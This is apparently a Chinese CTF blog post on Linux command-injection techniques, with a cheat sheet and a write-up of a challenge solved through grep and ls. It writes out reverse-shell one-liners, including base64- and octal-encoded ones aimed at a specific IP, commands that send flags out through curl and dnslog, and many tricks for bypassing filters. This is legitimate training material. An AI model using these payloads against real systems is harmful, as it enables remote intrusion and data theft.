由于篇幅有点长 字数有限制:(
分两篇发:
Linux命令执行
Linux内的bash有如下的特性:
- 单引号、双引号、反引号
linux中的单引号相当于原样输出
双引号将变量的值输出
反引号把变量当作命令执行
1 | root@VM-8-15-debian:~# name=whoami |
- 分隔指令
1 | 利用| || && & &! |
1 | 分号和换行,相当于逐条执行指令 |
- 指令的执行
1 | 反引号: |
反弹shell
1 | bash -i >& /dev/tcp/ip/port 0>&1 |
当然,更加稳定的:
1 | bash -c 'bash -i >& /dev/tcp/ip/port 0>&1' |
记得开启监听
1 | wget vps/bash |bash |
记得开启http服务
nc反弹
1 | nc -e /bin/sh ip port |
利用ip转int绕过限制
无回显rce
- 一个反弹shell的payload:
1 | echo 'YmFzaCAtaSA+Ji9kZXYvdGNwLzEwNi41Mi45NC4yMy8yMzMzIDA+JjE='|base64 -d|bash |
可以写文件到新的文件并读取、改文件名、移动、压缩、甚至将flag外带、反弹shell等
1 | ls>1.txt |
或者利用tee
1 | ls|tee 1.txt |
- curl
例如flag是以图片形式储存的:
1 | cat xxx.jpg | base64 > /tmp/xxx |
- dnslog外带
1 | `cat /flag|base64|sed s/[[:space:]]//`.xxx.dnslog.cn |
利用sed将base64拼在dns域名
绕过
- 预操作
1 | >cat |
空格:
1 | $IFS |
- 环境变量拼接
ctfshow web 118:
1 | | 指令 | 结果 | 解释 | |
指令 | 结果 | 解释 |
---|---|---|
${PATH%/*} |
我的vps: a(见下文) | %删除右边的字符,故%/*删除从右往左数第一个/及其右边的所有字符 |
${PATH##*/} |
我的vps: bin | ##删除左边的字符,故##*/代表删除从右往左数第一个及其左边的所有字符 |
${PATH:0-10} |
/sbin:/bin | 从右往左截取10个长度的字符,相当于${PATH:~9} |
${PATH:0-10:5} |
/sbin | 从右往左截取10个字符,并且从截取的10个字符中选取出前5个 |
${PATH%%n*} |
/usr/local/sbi | %%删除右边的字符,但是%%n*是删除从左到右的第一个n及其之后的字符 |
${PATH#n*} |
b* | #是删除左边的字符,但是#是删除从左往右第一个n左边的字符 |
非常重要:由于${PWD}
返回的是当前的目录,所以利用cd ..
一直返回上级目录即可获取到/
示例:
1 | (cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;pwd;) |
1 | cat $(cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;echo $(pwd)flag) |
a* : /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:
b*::/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
#
与%%
相对应,是从左往右开始截取第一个遇到的及其之前/之后的字符
%
与##
相对应,是从右往左开始截取第一个及其之后/之前遇到的字符
- 利用nl:
${PWD:~A}
会返回l
${PATH:${~A}}
会返回n
此时能组成nl:
${PATH:${~A}}${PWD:~A}${IFS}????.???
nl flag.php
- 利用base64:
/bin/base64 flag.php
1 | ${PWD::${#SHLVL}}会返回 '/' |
- 利用rev:
/bin/rev flag.php
无长度限制:
1 | ${PWD::${#SHLVL}}???${PWD::${#SHLVL}}${PWD:${#IFS}:${#SHLVL}}?? |
有长度限制,将#SHLVL换成##:
1 | ${PWD::${##}}???${PWD::${##}}${PWD:${#IFS}:${##}}?? |
利用报错构造1:
${HOME} => /root
1 | <A;${HOME::$?}???${HOME::$?}?????${#RANDOM} |
- 利用cp(已知一些可以访问到的文件)
cp source_filename target_filename
,将源文件复制到目标文件内,前提是你可以访问到目标文件
1 | cp $(cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;echo $(pwd)flag) app.py |
- 各种单双引号绕过:
1 | ca''t /fl''ag |
- printf写shell:
- 利用00:
1 | printf 'ca\x00t /etc/pass\x00wd' |bash |
并不适用于php,因为php的system会自动检测00
- 利用八进制等绕过一些限制
例如NewStarCTF
的一道题的payload:
1 | printf "\142\141\163\150\40\55\151\76\46\57\144\145\166\57\164\143\160\57\61\60\66\56\65\62\56\71\64\56\62\63\57\62\63\63\63\40\60\76\46\61"|s\h |
利用八进制printf格式化输出然后sh反弹shell
- 通配符
*
:匹配全部,同时如果单独输入一个*
则会获取ls的结果,然后将结果的第一个字符作为命令,其后作为参数执行
?
:匹配单个字符
[a-z0-9]
:匹配小写a-z
,0-9
还能取反[^b-z]g
匹配a
例如香山杯2023的一个题的读flag就是more /[b-z]1[Z-b][b-z]
{}
:匹配大括号内的字符,例如cat /f{l,s,t}ag
会匹配/flag、/fsag、/ftag
,也可以在里面写..
,{a..c}即匹配a-c
- 编码
最常见的肯定是base64
1 | echo Y2F0IC9mbGFn|base64 -d|sh |
十六进制:
利用xxd -r -p
进行hexdecode:
1 | echo "636174202f666c6167" | xxd -r -p|bash |
printf配合前面的:
1 | $(printf "\x6c\x73") //ls |
一些读文件的函数:
1 | more: 一页一页查看 |
- Tips:如果将环境变量设置修改为了没有
/bin
的话,我们要执行命令需要添加/bin
,如/bin/cat
或者/bin/rev
例如putenv('PATH=/leran/linux/command');
将环境变量修改了,此时我们需要添加/bin
- 读目录
1 | dir |
- nmap写入文件:
1 | nmap -oG |
上文已经讲过escapeshellarg+escapeshellcmd+nmap
的例子了
[nu1l junior] zako
这个题目感觉很有意思!
这边配置一下docker起一个环境给大家看看
这里怎么绕这个request就不再讲述了
这里问题在于中间怎么隐藏了一行东西,这里提示我们要绕一下
1 |
|
1 |
|
这是一个bash脚本,简单看下吧,再仔细看我也看不懂
- reject大概就是一个拒绝的意思,说明这样不可以
- 这里有deny和allow,大概就是对应白名单和黑名单
- 然后检查一下你传进来的参数是否符合白名单和黑名单的要求,最后再eval执行
这里允许的命令只有:
1 | ls |
禁止的黑名单有:
1 | `;&$(){}[]!@#$%^&*- |
用ls看文件:
返回
1 | execute.sh index.php |
当前目录只有这两个东西
ls /
返回
1 | bin boot dev etc flag home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var |
ps: 这边原本是有个readflag的,为了方便我直接用flag了
那接下来的问题就是如何利用ls
和grep
获取到flag了
grep是可以读文件的
还有两个地方值得注意的:
- 这个源码缺了一部分,注释也在提示我们something hide here
- 仔细看system处执行的是将cmd直接拼接,如果利用
ls';any cmd
就可以造成命令注入rce了
我们如何获得源码呢?
这个时候用grep读文件内容(题目也没限制空格):
1 | grep "" index.php |
发现die了一下
所以这里有过滤
检查一下,不是grep,不是空格
1 | grep "" |
也没有问题,说明问题出现在index.php上
grep "" *
有问题,试试问号
1 | grep "" ?ndex.php |
获得了index.php的真正源码:
1 |
|
原来这里利用的是highlight_string显示的源码
并且利用grep -v
排除了preg_match和highlight这一行
所以导致我们看不出过滤
接下来就是重头戏了
我们这边有符号的双重过滤,能用的只有一个grep,一个ls,那要怎么办呢?
这边如果flag可以读的话,就直接出了:
1 | grep "flag" /flag |
但是实际题目中flag并不可读,而是需要执行/readflag
还记不记得grep跟cat差不多,而黑名单并没有ban掉>>
唯一能用的地方就只有index.php
如果我们能够将index.php变成这样就好了:
1 |
|
此时利用>>
就能做到
也就是说,利用grep我们重新将index.php复制到一个新的php去,然后只保留一下部分(因为grep是查找整行):
1 | grep "<?php" ?ndex.php >> 1.php |
此时1.php就会变成这样:
这样我们的cmd就能够愉快的执行:
1 | ?_[secret.xswl.io=ls';/readflag;' |